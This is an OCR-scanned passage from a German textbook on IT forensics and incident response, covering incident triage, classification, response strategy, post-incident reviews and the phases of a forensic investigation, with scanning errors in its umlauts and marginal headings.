Angriff? Wurden Systeme oder Daten manipuliert oder zerstort? Gibt
es erste Vermutungen uiber einen Innen- oder Auflentiter? Diese Infor-
mationen sollten die Ermittler aber sorgfiltig tiberpriifen.

Was wurde bereits unternommen?

Damit eingeschitzt werden kann, welche Spuren auf dem System vom
Angreifer oder von einem ubereifrigen Administrator hinterlassen wur-
den, ist es wichtig herauszufinden, welche Tatigkeiten am betroffenen
System bereits vorgenommen wurden. Wurde das System herunterge-
fahren? Wurde die Netzverbindung getrennt? Wurden bereits lokale
Audit- bzw. Protokolldaten analysiert? Wurden infolge des Angriffs
bereits Modifikationen am System vorgenommen? Im Hinblick auf
eine mogliche Spurenbeseitigung sollte geklart werden, welche inter-
nen und externen Personen bereits informiert wurden. Ist spezielle
Netzwerk- oder Systemaudit-Software im Einsatz?

Abhingig davon, welche Informationen bei der Erstmeldung
erfasst wurden, wirkt sich dies auf den personellen und finanziellen
Aufwand zur Losung des Problems aus. Die Dauer eines moglichen
Ausfalls des Systems und des zu unterstitzenden Geschiftsprozesses
kann ebenfalls davon abhingen. Nachdem alle erreichbaren Informa-
tionen aufgenommen und diese an den verantwortlichen I'T-Mitarbei-
ter ibermittelt wurden, muss er feststellen, ob es sich eventuell nur um
»falschen Alarm« handelt.
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3.6 Sicherheitsvorfall oder Betriebsstorung?

Eine der wesentlichen Erkenntnisse bei der Behandlung eines mog-
lichen Sicherheitsvorfalls ist die Frage, ob es sich um ein wirkliches
Sicherheitsproblem handelt, oder anders formuliert: Handelt es sich
wirklich NICHT um eine Betriebsstorung?

Zu Beantwortung dieser Frage gehort neben den benétigten aktu-
ellen Statusinformationen auch eine gewisse Kenntnis der Organisa-
tion, der zugrunde liegenden IT-Landschaft und der dort titigen Mit-
arbeiter. Sicherlich ist es nicht immer ratsam, sich zu lange mit der
Entscheidungsfindung, ob es sich um einen Sicherheitsvorfall handelt,
zu beschiftigen. Manchmal ergeben sich auch erst wihrend der laufen-
den Ermittlung konkrete Anhaltspunkte, dass es sich doch nicht um
einen Sicherheitsvorfall handelt.

Um Klarheit zu gewinnen, sollten alle Hinweise auf mogliche Feh-
ler in Anwendung, System oder Hardware soweit durchleuchtet wer-
den, dass sie ausgeschlossen werden konnen. So lassen sich z.B. veran-
derte Zeitstempel von wichtigen Systemdateien moglicherweise auf ein
kiirzlich eingespieltes Update zuriickfithren. Ebenso konnen scheinbar
beeintrichtigte Netzwerkressourcen nicht nur Folge eines Denial-of-
Service-Angriffs sein, sondern ursichlich mit gestarteten Applikatio-
nen zusammenhingen, die vielleicht einen Broadcast verursachen.
Grundsitzlich sollten in den Systemlogbiichern oder sonstigen Doku-
mentationen die kiirzlich durchgefithrten Wartungs- und Installati-
onstitigkeiten identifiziert werden. Hierzu sollte Kontakt zu den Syste-
meigentiimern bzw. Hauptadministratoren gesucht werden.

Handelt sich um einen Systemeinbruch oder einen anderen Sicher-
heitsverstofs, miissen die Ermittler eine erste Risikoabschitzung fiir eine
mogliche Abschaltung oder besser Netzdekonnektion des betroffenen
Systems treffen. Hierbei ist auch schon an mdogliche weitere Ermitt-
lungsschritte zu denken. Jede zu diesem Zeitpunkt getroffene Entschei-
dung kann sich unter Umstanden in den folgenden Phasen nachteilig
auswirken.

Zu analysieren und zu dokumentieren sind Antworten auf die Fra-
gen: Welcher weitere mittelbare oder unmittelbare Schaden kann ent-
stehen, wenn ich das System online lasse oder offline schalte? Kapitel 4
gibt zusitzliche Hinweise, um hier zu einer sinnvollen Entscheidung zu
kommen. Wird der Angriff vielleicht erst dadurch zu einem Erfolg fiir
den Titer? Welche Tatspuren konnten moglicherweise zerstort wer-
den? Die Entscheidung trifft letztendlich das Management der System-
eigentimer. Das Management sollte die Entscheidung aber auf Basis
der Empfehlungen des Sicherheitsteams treffen.

Fehlalarm?

Dokumentieren
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Vorfall klassifizieren

Fur die Formulierung der weiteren Strategie hilft es, den moglichen
Vorfall frithzeitig grob zu klassifizieren. Dies erleichtert es in Notfallsi-
tuationen, den Schaden richtig einzuschitzen und die richtigen
Ablaufe zu starten. Es kann auch nicht schaden, sich vor einem Sicher-
heitsvorfall zu tiberlegen, welches dieser Probleme bei welchen Syste-
men zu ernsthaften Schwierigkeiten fithren konnte. Als Ergebnis dieser
Risikobetrachtung lassen sich eventuell frithzeitig Gegenmafinahmen
entwickeln. Ein Vorschlag fiir eine solche Grobklassifizierung wire:

Probing bzw. Portscanning

Ein Angreifer versucht, das Betriebssystem und die angebotenen
Dienste herauszufinden. Ist der Server sicher konfiguriert und ist
die Quelle nicht verdiachtig, besteht hier kein akuter Handlungs-
bedarf. Wie aber bereits erwdhnt, steht diese Phase oft am Anfang
eines Angriffs.

Denial-of-Service-Angriffe

Werden durch diese Angriffe grundlegende Dienste unbenutzbar
gemacht und resultiert daraus ein direkter oder indirekter finan-
zieller Schaden, sind diese Angriffe als ernsthaft einzustufen. Dem-
entsprechend ziigig und umsichtig sind Gegenmafinahmen zu
ergreifen. Zu bedenken ist auch, dass ein Denial-of-Service-Angriff
auch den urspriinglichen Angriff maskieren bzw. die Administrato-
ren auf eine falsche Fihrte fithren konnte.

Unberechtigter Zugriff auf einen User-Account

Stellt ein legitimer Anwender fest, dass sein Account von einem
Fremden verwendet wurde, kann dies ein Hinweis auf einen erfolg-
ten oder gerade aktiven Angriff sein. Allein die Tatsache, dass
unberechtigt auf Daten zugegriffen werden konnte, signalisiert
bereits Handlungsbedarf. Die Tragweite hingt natiirlich vom
betroffenen Account, aber auch vom betroffenen System ab.

Unberechtigter Zugriff auf einen Administrator-Account

Dieses Problem, oft auch als »Root compromise« bezeichnet, stellt
ein sehr ernsthaftes Problem dar. Hier ergibt sich unverziglicher
Handlungsbedarf. Besteht der Verdacht, dass jemand unberechtigt
Systemadministratorrechte ausgeiibt hat, ist das gesamte System
und oft auch alle angrenzenden oder diesem System vertrauenden
Infrastrukturen kompromittiert.

Datendiebstabl bzw. -manipulation

Besteht der Verdacht, dass unberechtigt auf vertrauliche Informa-
tionen zugegriffen wurde oder diese manipuliert worden sind,
muss gekldrt werden, wie dieser Zugriff moglich war. Besonders
brisant ist es, wenn dieser Zugriff mit interner Unterstitzung
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erfolgte. Dies bedeutet i.d.R., dass dieser Zugriff immer noch
besteht und weitere Informationen nach aufsen gelangen konnen.
Hier ist dann mitunter schnelles und umsichtiges Handeln erfor-
derlich. Denn jeder Dieb kann angesichts einer moglichen Enttar-
nung zum Vandalen werden.

In Abschnitt 5.3 von REC 2196° — besser bekannt als Site Security
Handbook — werden beispielhaft Anzeichen genannt, die wahrschein-
lich keine Betriebsstorung als Ursache haben (das Datum der ersten
Erstellung dieses RFC und die nicht mehr ganz so aktuellen Beispiele
sollen nicht tiber die immer noch gultige Relevanz der Grundproble-
matik hinwegtauschen):

System crashes. Abb. 3-2

2. New user accounts (the account RUMPLESTILTSKIN has been
unexpectedly created), or high activity on a previously low usage
account.

aus RFC 2196

3. New files (usually with novel or strange file names, such as data.xx or
k or .xx).

4. Accounting discrepancies (in a UNIX system you might notice the
shrinking of an accounting file called /usr/admin/lastlog, something that
should make you very suspicious that there may be an intruder).

5. Changes in file lengths or dates (a user should be suspicious if .EXE
files in an MS DOS computer have unexplainedly grown by over 1800
bytes).

6. Attempts to write to system (a system manager notices that a
privileged user in a VMS system is attempting to alter RIGHTS-
LIST.DAT).

7. Data modification or deletion (files start to disappear).

8. Denial of service (a system manager and all other users become
locked out of a UNIX system, now in single user mode).

9. Unexplained, poor system performance

10. Anomalies (»GOTCHA« is displayed on the console or there are
frequent unexplained »beeps«).

11. Suspicious probes (there are numerous unsuccessful login attempts
from another node).

12. Suspicious browsing (someone becomes a root user on a UNIX
system and accesses file after file on many user accounts.) Inability of
a user to log in due to modifications of his/her account.

Ist im ersten groben Uberblick gesichert, dass es sich nicht um eine
Betriebsstorung handelt und eine grobe Angriffsklassifizierung mog-

5. http:/fzvon.org/tmRFC/RFC2196/Outputfindex.html

Incidents identifizieren
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Gegenangriffe vermeiden!

Honeypots

lich ist, konnen die entsprechenden MafSnahmen ergriffen werden.
Diese Entscheidung ist erfahrungsgemaf stark vom betroffenen I'T-Sys-
tem abhingig. Die moglichen Folgen fiir die eine oder andere Entschei-
dung sind hier im Vorfeld abzuwigen, denn ein unbemerkter Sicher-
heitsvorfall konnte zu weiteren ernsthaften Schiaden fithren. Gerade
bei Systemen, die besonders wichtig fur das Unternehmen sind oder
besonders kritische Daten enthalten, sollte man relativ schnell Ent-
scheidungen treffen. Dies setzt allerdings voraus, dass man genau
weifs, welches die kritischen Systeme und Daten sind und wie diese in
einem ordnungsgemaifSen Zustand arbeiten.

3.7 Wahl der Response-Strategie

Bei der Wahl der richtigen Strategie zur Bewaltigung eines Sicherheits-
vorfalls sind zwei grundlegende Aspekte zu berticksichtigen: Zunachst
will man den direkten, aber auch indirekten Schaden so gering wie
moglich halten, gleichzeitig soll aber auch der Tathergang moglichst
umfassend rekonstruiert werden, um eventuelle Tatverdichtige zu
identifizieren. Hinzu kommt, dass jeder Sicherheitsvorfall eine unter-
schiedliche Ermittlungsstrategie erfordert.

Folgende Faktoren konnen u.a. strategiebestimmend sein:

Wie kritisch sind die betroffenen Systeme fur die Unternehmens-
ablaufe?

Wie wichtig sind die gestohlenen oder beschadigten Daten?

Wen vermutet man als Téter?

Welches Wissen und welche Fihigkeiten werden beim Titer ver-
mutet?

Ist der Vorfall bereits an die Offentlichkeit gelangt?

Wie weit ist der Tater bereits gekommen?

Welche Downtime ist zu verkraften?

Wie hoch ist der vermutete finanzielle Gesamtverlust?

Es sollten unbedachte, voreilige Gegenreaktionen vermieden werden.
Auch wenn der verzweifelte Gegenangriff eines Administrators nach-
vollziehbar erscheint, ist dies unbedingt auszuschlieflen. Ein tibereiltes
Ping, Telnet, Nslookup oder Traceroute auf den vermeintlichen
Angreifer konnte fiir ihn ein Anzeichen sein, dass er entdeckt wird. Die
Gefahr, dass der Angreifer dann zum Vandalen werden konnte, wire
zu grofs.

Ein weiteres heif§ diskutiertes Thema ist der Einsatz von sogenann-
ten Honeypotsé, um einen Angreifer zu provozieren, ihn zu studieren,
abzulenken, aufzuhalten und dann eventuell zu identifizieren. Honey-
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pots sind eine spannende und gerade fiir Security-Spezialisten verlo-
ckende Angelegenheit und die logische Konsequenz fiir diejenigen
Organisationen, die alles technisch und organisatorisch Maogliche
getan haben, um ihre Netzschnittstellen adiquat abzusichern. Organi-
sationen, die allerdings zu viele offene Flanken haben, sollten zunachst
versuchen, diese Liicken zu schlieflen. Ist jedoch sichergestellt, dass
von einem Honeypot keine Gefahr fiir angrenzende Komponenten
ausgeht — was eine permanente Kontrolle erfordert — kann ein Honey-
net (das sind mehre Honeypots, die dem Angreifer ein komplettes ver-
wundbares Netz vortduschen) zur Analyse des Angreiferverhaltens
und seiner moglichen Motive beitragen.

3.8 Reporting und Manodverkritik

Wenn die Ermittlungen abgeschlossen sind, alle Beweise und Informa-
tionen gesichert und die erforderlichen Sicherungsmafinahmen ergrif-
fen wurden, ist es empfehlenswert, die abgelaufenen Ereignisse einer
kritischen Analyse zu unterziehen. Aus jedem Sicherheitsvorfall kann
gelernt werden. Um aus einem eingetretenen Sicherheitsvorfall den
maximalen Lerneffekt ziehen zu konnen, darf die Nachbereitung nicht
vernachldssigt werden. Oftmals lassen sich daraus Verbesserungen im
Umgang mit Sicherheitsvorfillen herausarbeiten oder Riickschliisse
auf die Wirksamkeit des IT-Sicherheitsmanagements bzw. der vorhan-
denen IT-Sicherheitsmafnahmen ziehen.

Es sollte daher nicht nur eine Dokumentation erstellt werden, die
im Rahmen der Beweissicherungsmafinahmen fiir eine erfolgreiche
straf- oder zivilrechtliche Wiirdigung notig ist. Auch der Ablauf des
zuriickliegenden Response- und Forensik-Prozesses sollte dokumen-
tiert und bewertet werden.

Fehler konnen auch wahrend einer Ermittlung passieren. Jeder
Vorfall hat seine Eigenheiten. Sicherheitsvorfille stellen sich je nach
angegriffenem System oder Sichtweise der beteiligten Personen unter-
schiedlich dar. Oft gleicht kein Vorfall dem anderen. Dies bedeutet,
dass die Ermittler auf eine neue Situation immer angepasst reagieren
mussen. Passieren hier Fehler, ist das zwar bedauerlich, aber leider
nicht zu verhindern. Problematisch wird es, wenn das Ermitt-
lungsteam, aber auch die betroffene Organisation aus einmal gemach-
ten Fehlern nicht lernt. Aus diesem Grund ist es wichtig, infolge eines
abgeschlossenen Sicherheitsvorfalls den Ermittlungsvorgang zu analy-

6. Absichtlich nicht abgesicherte Systeme, um Angreifer anzulocken. Diese Systeme
werden i.d.R. besonders intensiv itberwacht, um alle Angreiferaktivititen zu pro-
tokollieren.

Reporting

Fehler kommen vor.
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Lessons-learned-Meetings

Keine Schuldzuweisungen

Reaktionszeit

Wirksambkeit der
Eskalationsstrategie

Feedback an
meldende Stelle

sieren, mogliche Fehler oder Unzulidnglichkeiten zu identifizieren und
in der Zukunft zu vermeiden.

Lessons-lernead-Meetings sollten dann auch nicht allzu lange nach
dem Abschluss einer Ermittlung veranstaltet werden. In welcher Form
diese Manoverkritiken auch organisiert werden, wesentlich ist dabei,
dass die beteiligten Personen erkennen konnen, wo fiir den niachsten
Fall Optimierungspotenzial liegt. Es sollte zum Beispiel geklart wer-
den, warum gewisse Entscheidungstriger sich nicht kontaktieren lie-
Ben, welches Equipment nicht funktionsfihig und welche Daten fiir
bestimme Entscheidungen nicht verfiigbar waren und wo bei der ers-
ten Gefahrenanalyse Fehlentscheidungen getroffen wurden.

Es versteht sich sicherlich von selbst, dass wihrend dieser Mee-
tings kein Raum ist fir Schuldzuweisungen. Das wesentliche Anliegen
ist, aus den Fehlern und Unzulinglichkeiten innerhalb oder auch
aufSerhalb des Ermittlungsteams fur den nachsten Vorfall zu lernen.

Es sollte untersucht werden, wie schnell der Sicherheitsvorfall
bemerkt wurde und welche Informationen fiir die Bewertung zur Ver-
figung standen. Dabei ist zu priifen, ob es sinnvoll ist, Logging- und
Monitoringmafnahmen zu optimieren.

Dariiber hinaus sollte auch der Frage nachgegangen werden, wie
lange es dauerte, bis die Meldung den erforderlichen Meldeweg durch-
laufen hat. SchlieSlich sollte der Aspekt betrachtet werden, wie schnell
die Entscheidungen tber die zu treffenden MafSnahmen erfolgten, wie
lange deren Umsetzung dauerte und wann die Benachrichtigung der
betroffenen internen und externen Stellen erfolgte. Bei der Ruickverfol-
gung des Meldewegs ist zu bewerten, ob der Meldeweg jedem bekannt
war.

Anhand des konkreten Sicherheitsvorfalls sollte untersucht wer-
den, ob die festgelegte Eskalationsstrategie eingehalten wurde und ob
die Eskalationsstrategie angepasst werden muss. Weiterhin sollte tiber-
pruft werden, ob tatsichlich simtliche betroffenen Stellen benach-
richtigt wurden und ob die Benachrichtigung zeitlich ausreichend
schnell war. War dies nicht der Fall, miissen eventuelle schnellere Wege
der Benachrichtigung gefunden werden.

Diejenigen Stellen im Unternechmen, die einen Sicherheitsvorfall
entdeckt haben und diesen an die zustindigen Experten weitergemel-
det haben, sollten nach dessen Behebung auch iiber die entstandenen
Schiden und ergriffenen MafSnahmen informiert werden. Die Mel-
dung sollte allerdings mit der fiir diesen Fall erforderlichen Vertrau-
lichkeit erfolgen. Dies zeigt, dass solche Meldungen ernst genommen
werden und fordert die Motivation fiir das Melden weiterer Vorfille.
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Stellt sich heraus, dass der Sicherheitsvorfall auf eine vorsitzliche
Handlung zurtickzufiihren ist, sollte die Motivation des Téters unter-
sucht werden. Handelt es sich dabei um einen Innentater, kommt der
Motivation eine besondere Bedeutung zu. Stellt sich beispielsweise her-
aus, dass die Ursache im Bereich des Betriebsklimas zu sehen ist, miis-
sen entsprechende GegenmafSnahmen ergriffen werden, da damit zu
rechnen ist, dass weitere Vorfille auftreten konnten.

Im Rahmen der Nachbereitung eines Sicherheitsvorfalls ist es sinn-
voll, aus den Erfahrungen heraus eine Handlungsanweisung zu erstel-
len, wie bei Auftreten eines vergleichbaren Sicherheitsvorfalls zu verfah-
ren ist Die nun vorliegende Praxiserfahrung kann dabei hilfreich sein.

Eine weitere wesentliche Information, die es zu sammeln und zu
bewerten gilt, ist die Frage nach den Kosten, die der Sicherheitsvorfall
bzw. dessen Ermittlung verursacht hat. Sollte der Tatverddchtige iber-
fithrt werden konnen, besteht die Moglichkeit, Schadensersatz von
ihm zu fordern. Sollte sich dann kein direkter Schaden beziffern lassen,
weil dieser nur schwer abschitzbar ist, kann man zumindest den
Ermittlungsaufwand einfordern. Dieser kann gerade bei Hinzuziehung
von externen Spezialisten betrachtlich sein.

Tdtermotivation

Entwicklung einer
Handlungsanweisung

Kostenbetrachtung
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Nach den vorbereitenden Kapiteln tiber Methoden der Angreifer und
Vorbereitungsmafinahmen fiir die potenziellen Opfer kommen wir
nun zum Kernthema des Buches, der Ermittlung. Im Folgenden lernen
Sie die wesentlichen Phasen eines Ermittlungsprozesses kennen. Das
Kapitel liefert auch Informationen, welche Beweisspuren auf einem
gehackten System gefunden werden, welche Daten sofort erfasst wer-
den miissen bzw. in nachgelagerten Untersuchungsschritten ausgewer-
tet werden konnen. Der vorletzte Abschnitt liefert Hinweise, wie die
gefundenen Spuren schlussendlich im Zusammenhang zu bewerten
sind. Haufige Fehler im Ermittlungsverfahren konnen dem letzten
Abschnitt dieses Kapitels entnommen werden.

4.1 Ziele einer Ermittlung

Die Ziele einer forensischen Ermittlung nach einem Systemeinbruch
oder einem anderen Sicherheitsvorfall sind in der Regel die folgenden:

Erkennen der Methode oder der Schwachstelle, die zum Systemein-
bruch gefithrt haben konnte,

Ermittlung des entstandenen Schadens nach einem Systemein-
bruch,

Identifikation des Angreifers,

Sicherung der Beweise fiir weitere juristische Aktionen.

Die Umsetzung aller dieser Ziele steht und fallt damit, dass man die
richtigen Daten von einem betroffenen System sammeln kann. Dies
lasst sich auch in der folgenden Frage formulieren:

Wie stellt man sicher, dass so viele Informationen wie moglich von
einem kompromittierten System gesammelt werden kénnen, wobei der
aktuelle Zustand bzw. Status dieses Systems so wenig wie moglich ver-
dndert wird?
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Zur Beantwortung dieser scheinbar einfachen, aber in der Umset-
zung recht komplexen Frage muss die Ursprungsfrage in Einzelaspekte
aufgelost werden:

Wie wird der Angriff verifiziert?

Wie sollten der kompromittierte Rechner und die zugehorige
Umgebung gesichert werden?

Welche Methoden konnen fiir die Sammlung von Beweisen ver-
wendet werden?

In welcher Reihenfolge sollen die Beweisspuren gesammelt wer-
den?

Wo sucht man nach Anhaltspunkten und wie konnen sie gefunden
werden?

Wie kann das Unbekannte analysiert werden?

Nachdem der Leser die beiden folgenden Kapitel gelesen hat, sollten
die Antworten auf diese Fragen gefunden sein.

4.2 Anforderungen an den Ermittlungsprozess

Damit die vom Ermittler gewihlten Methoden und Hilfsmittel auch
vor Gericht Bestand haben, ist es wichtig, sich Gedanken zu machen,
wie robust und sinnvoll diese sind. Ein Dritter, der eventuell nicht iiber
den gleichen technischen Sachverstand und Erfahrungsschatz verfiigt,
muss den Titigkeiten, die wihrend der Ermittlung durchgefithrt wur-
den, Glauben schenken konnen. Aus diesem Grund ist es wichtig, sich
uber allgemeine Anforderungen an die zum Einsatz kommenden
Methoden und Hilfsmittel im Klaren zu sein. Zu folgenden Punkten
sollte sich der Ermittler idealerweise im Vorfeld eine Meinung bilden:

Akzeptanz

Die vom Ermittler angewandten Methoden und Schritte miissen in
der Fachwelt beschrieben und allgemein akzeptiert sein. Es ist
immer schwierig, ein neues Verfahren oder Werkzeug einzusetzen,
das in einschligigen Publikationen oder auf Konferenzen noch
keine Erwihnung gefunden hat. Idealerweise sollten andere profes-
sionelle Ermittler bereits damit gearbeitet oder positiv dariiber
berichtet haben. Sicherlich sind Quellen aus dem eigenen Land und
Sprachbereich wiinschenswert, aber nicht zwingend. Der Einsatz
von neuen, noch kaum beschriebenen Methoden und Hilfsmitteln
ist natiirlich moglich. Es ist aber mit der Frage zu rechnen, warum
man der Einzige ist, der damit arbeitet, wenn das Verfahren so gut
sein soll.
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Glaubwiirdigkeit

Ein weiterer Punkt sind Anforderungen an die Funktionalitit und
Robustheit der Methoden. Diese sollten bei Bedarf nachgewiesen
werden konnen. Es ist sicherlich immer schwierig, wenn man
irgendein Tool mit Daten »fiittert« und am Ende irgendwelche
Ergebnisse »herauspurzeln«, deren Zustandekommen nicht nach-
vollziehbar ist. Dies ist besonders wichtig, wenn komplexe Werk-
zeuge und Methoden eingesetzt werden, deren Wirkungsweise vom
Ermittler nicht verstanden werden und nicht plausibel erklart wer-
den konnen.

Wiederbolbarkeit

Die im gesamten Ermittlungsprozess verwendeten Methoden und
Hilfsmittel miissen bei Anwendung von Dritten wiederholbar sein.
Dies bedeutet, dass eine dritte Person, die die gleichen Schritte
durchfihrt, die gleichen Ergebnisse produziert.

Integritdt

Im Rahmen des gewidhlten Ermittlungsprozesses diirfen die sicher-
gestellen Spuren nicht unbemerkt verandert werden konnen. Es
muss jederzeit demonstriert werden konnen, dass die Integritat der
digitalen Beweise gewahrt bleibt.

Ursache und Auswirkungen

Die fiir die Ermittlung gewahlten Methoden miissen es ermogli-
chen, logisch nachvollziehbare Verbindungen zwischen Personen,
Ereignissen und Beweisspuren herzustellen.

Dokumentation
Jeder Schritt des Ermittlungsprozesses muss angemessen dokumen-
tiert werden konnen.

4.3 Phasen der Ermittlung

Die Tatigkeiten, die im Rahmen der Ermittlungsphase des Incident-
Response-Prozesses durchgefiihrt werden, lassen sich in weitere Zwi-
schenphasen einteilen, wobei hier die letztendliche Auspragung der
einzelnen Phasen vom konkreten Ermittlungsfall abhingig ist.

Vorbereitung der Ermittlung

Zur griindlichen Vorbereitung auf die Untersuchung gehort unbe-
dingt, dass eine entsprechende Autorisierung der Geschifts- oder
Organisationsleitung vorliegt. Dies gilt besonders fiir externe,
nicht polizeiliche Ermittler. Forensische Untersuchungen, die auf
keiner ordentlichen Grundlage beruhen, kénnten sonst sehr schnell
selbst Gegenstand von Ermittlungen sein. Arbeiten die Administra-
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Die Secure-Phase

toren auf eigene Faust und verletzen dabei Personlichkeits- bzw.
Datenschutzrechte durch Einsicht in und Analyse von personenbe-
zogenen Daten oder versuchen ihrerseits das vermeintliche
Ursprungssystem des Angriffs zu attackieren, dann kann dies
schnell zu einem Bumerang werden. Weiterhin gehort zur Vorberei-
tung, dass Auftrag und Ziel fur die Ermittlung so klar wie zum
Beauftragungszeitpunkt moglich von einer zeichnungsberechtigten
Person definiert sind.

Schutz der Beweismittel

Dem Schutz der Beweismittel vor der Modifikation kommt in
Bezug auf deren Gerichtsverwertbarkeit wesentliche Bedeutung zu.
Hierzu zdhlt auch der Schutz der eigenen Untersuchungsumgebung
und der verwendeten Betriebsmittel (siche Abschnitt 6.2).

Imaging (bitweise Kopie der Datentriger) und Datensammlung
Abhingig vom konkreten Untersuchungsgegenstand werden in die-
ser Phase Informationen vom noch »lebenden System« gesammelt
(siche Abschnitt 4.7) oder es wird im Rahmen einer forensischen
Duplikation ein Image der Datentriger des betroffenen Systems
gezogen (siehe Abschnitt 4.8). Die gesammelten Daten werden
nicht immer sofort ausgewertet.

Untersuchung und Bewertung der gewonnenen Informationen
Gerade die Analyse von Datentrager-Images findet im Nachhinein
statt (sieche Kap. 5). Diese Untersuchungsphase ist zeitlich nur
durch die dufSeren Umstidnde eingeschriankt. Wichtig ist hierbei,
dass die gewonnenen Daten nicht nur analysiert, sondern auch auf
ihre Relevanz bewertet werden miissen.

Dokumentation

Da es sinnvoll ist, wihrend aller Phasen eine schliissige Dokumen-
tation anzufertigen, dient die abschlieffende Dokumentationsphase
der Zusammenfassung gewonnener Erkenntnisse und der Erkla-
rung der Schlussfolgerungen. Die Erfahrung zeigt, dass Informatio-
nen und Titigkeiten, die nicht sofort dokumentiert werden, wenn
sie anfallen, niemals erfasst werden.

4.4 DasS-A-P-Modell

Nach dem sogenannten Secure-Analyse-Present-Modell (S-A-P-Modell)
kann sich ein Ermittlungsprozess in drei grofse Phasen einteilen lassen.
In der Secure-Phase werden alle Daten sorgfaltig erfasst. Hierbei ist
darauf zu achten, dass der Untersuchungsbereich sorgfiltig abgesi-
chert wird. Dabei werden interne Ermittler oft auf vertrauenswiirdige
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Unterstiitzung beispielsweise vom Werk- oder Objektschutz zuriick-
greifen. Da es sowieso nicht ratsam ist, allein und ohne Zeugen am Ort
des Geschehens aufzutauchen, sollte eigentlich eine zweite Person fiir
Sicherungszwecke verfigbar sein. Zu diesem Zeitpunkt ist oft noch
nicht klar, ob der Titer eventuell von innen kommt. Mochten die Mit-
glieder des Expertenteams hier eventuellen Manipulationen vorbeu-
gen, sind entsprechende Vorkehrungen zu treffen, damit Innentiter
nicht ihre Spuren verwischen konnen. In dieser Phase wird durch
geeignete Methoden der Grundstein dafiir gelegt, dass die gesammel-
ten Informationen in einer eventuell spateren juristischen Wirdigung
ihre Beweiskraft nicht verlieren. Auch wenn in dieser sehr frithen
Ermittlungsphase oft noch nicht richtig klar ist, ob eine juristische Kla-
rung angestrebt wird, sollte trotzdem das Beweismaterial so gesichert
werden, dass es auch vor Gericht verwendet werden kann. Aus diesem
Grund miissen alle Tatigkeiten sorgfiltig protokolliert werden. Dabei
kann durchaus auch von Papier und Bleistift Gebrauch gemacht wer-
den. Wichtig ist dabei nur, dass die im Protokoll festgehaltenen Infor-
mationen genau sind und der Wahrheit entsprechen. Die gesammelten
Daten mussen auch frithzeitig vor versehentlicher oder gar beabsich-
tigter Manipulation geschuitzt werden. Von entsprechenden Hash-Ver-
fahren und dem Vier-Augen-Prinzip ist daher ausgiebig Gebrauch zu
machen.

In der Analyse-Phase werden die Spuren sorgfiltig analysiert und
die Ergebnisse objektiv bewertet. Die Schliisse miissen kritisch hinter-
fragt werden, um Liicken in der Argumentationskette selbststindig
und sicher zu identifizieren.

Wihrend die Secure- und Analyse-Phasen hinsichtlich Detaillie-
rungsgrad und Methode oft unabhingig von der konkreten Fragestel-
lung des Sicherheitsvorfalls sind, sind die Tatigkeiten in der Present-
Phase davon abhingig, wer in welcher Form von den Ermittlungser-
gebnissen tiberzeugt werden muss. Schlussendlich muss das Ergebnis
Personen iiberzeugen, die wihrend der gesamten Ermittlung nicht
anwesend waren und vielleicht auch nicht den technischen Sachver-
stand aufbringen, alle Details zu verstehen. Dies bedeutet, dass alle
Erkenntnisse schliissig und auch fiir technische Laien nachvollziehbar
dokumentiert und dann tiberzeugend zielgruppenorientiert prasentiert
werden mussen. Die Ergebnisse einer forensischen Untersuchung miis-
sen typischerweise Entscheidungstrigern innerhalb der eigenen Institu-
tion, aber durchaus auch externen Entscheidungstrigern und Strafver-
folgungsbehorden prisentiert werden.

Die Analyse-Phase

Die Present-Phase
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4.5 Welche Erkenntnisse kann man gewinnen?
Unvoreingenommenden ~ Es hat durchaus Vorteile, den »Tatort« des Geschehens aufzusuchen,

»Tatort« besichtigen

Einbruchsanalyse

ohne eine konkrete Vorstellung davon zu haben, was man dort genau
finden wird. Diese Unvoreingenommenheit bei der Analyse eines
Sicherheitsproblems sollte immer angestrebt werden. Die Antwort
»derzeit unbekannt« hat in manchen Situationen durchaus ihre Berech-
tigung und kann gerade am Anfang einer Ermittlung den Blick fiir die
nicht offensichtlichen Spuren freihalten. Antworten, die zu schnell und
ohne sorgfiltige Uberpriifung gefunden werden, konnten den echten
und wichtigeren Beweis eventuell »vergiften«. Es kommt auch immer
wieder mal vor, dass ein Angreifer absichtlich falsche Spuren hinter-
lasst, um die Ermittler auf eine falsche Fahrte zu locken (auch Trugspur
genannt). Diese falschen Spuren konnen z.B. aus falschen IP-Adressen
oder Logdatei-Eintragen bestehen.

Grundsitzlich konnen wahrend dieser Phase der Ermittlung meh-
rere Tatigkeiten identifiziert werden: Einbruchsanalyse, Schadensfest-
stellung, Analyse der Angriffstools, Logdatei-Analyse und Suche nach
weiteren Spuren. Jeder dieser Schritte ist durch wesentliche Fragestel-
lungen gekennzeichnet und kann fiir sich allein betrachtet auch Gegen-
stand einer Einzelfalluntersuchung sein.

Wer hatte Zugang?

Um das AusmafS des Vorfalls und der moglichen Schiaden einzuschit-
zen, ist es wichtig, Hinweise zum moglichen Téater zu erhalten. Erste
Informationen, ob es sich um einen mit Insiderwissen ausgestatteten
Angreifer oder einen Externen handelt, sind gerade fir die weitere
Ermittlung von wesentlichem Interesse.

Was hat der Angreifer auf dem System gemacht?

Die Antwort auf diese Frage hat direkte Auswirkung auf die weiteren
Ermittlungstitigkeiten. Zudem bestimmt sie die Wahl der Gegenmafs-
nahmen. Wurden Daten eingesehen, zerstort oder modifiziert? Wel-
che? Wurde Software installiert, die weitere Angriffe vorbereitet oder
eine Hintertiir fiir weitere Angreifer 6ffnet? Wenn die Homepage eines
WWW-Servers verandert wurde, ist es von Interesse, ob der Angreifer
dort bestimmte Informationen hinterlassen hat. Dies sind zum Beispiel
die Bezeichnung der eigenen Gruppe oder der eigene Nickname. Oft
finden sich GrufSe an befreundete Hacker oder Gruppen (sog. Greetz)
auf veranderten Homepages. In einigen Fallen ist es moglich, hier
Zusammenhinge zu erkennen, die schlussendlich zur Identifikation
des Taters fiihren.



4.5 Welche Erkenntnisse kann man gewinnen?

71

Wann fand der Vorfall statt?

Der genaue Zeitpunkt oder die mogliche Zeitspanne, wihrend der der
Einbruch stattgefunden hat, dient der Korrelation weiterer Daten von
anderen Systemen oder Netzkomponenten. Gerade wenn fiir die wei-
tere Ermittlung Kontakt zu anderen Systemeigentiimern oder Internet-
Service-Providern notig ist, muss Klarheit tiber den Angriffszeitpunkt
bestehen. Aus diesen Informationen lisst sich auch ableiten, ab wann
der Angreifer die Moglichkeit hatte, weitere Systeme zu kompromittie-
ren oder Daten zu verdandern.

Welche weiteren Systeme sind noch betroffen?

Ein wesentliches Ergebnis der Ermittlung ist die Klarheit tiber das Aus-
mafl des Angriffs. Fir die Einschitzung des Schadens, aber auch
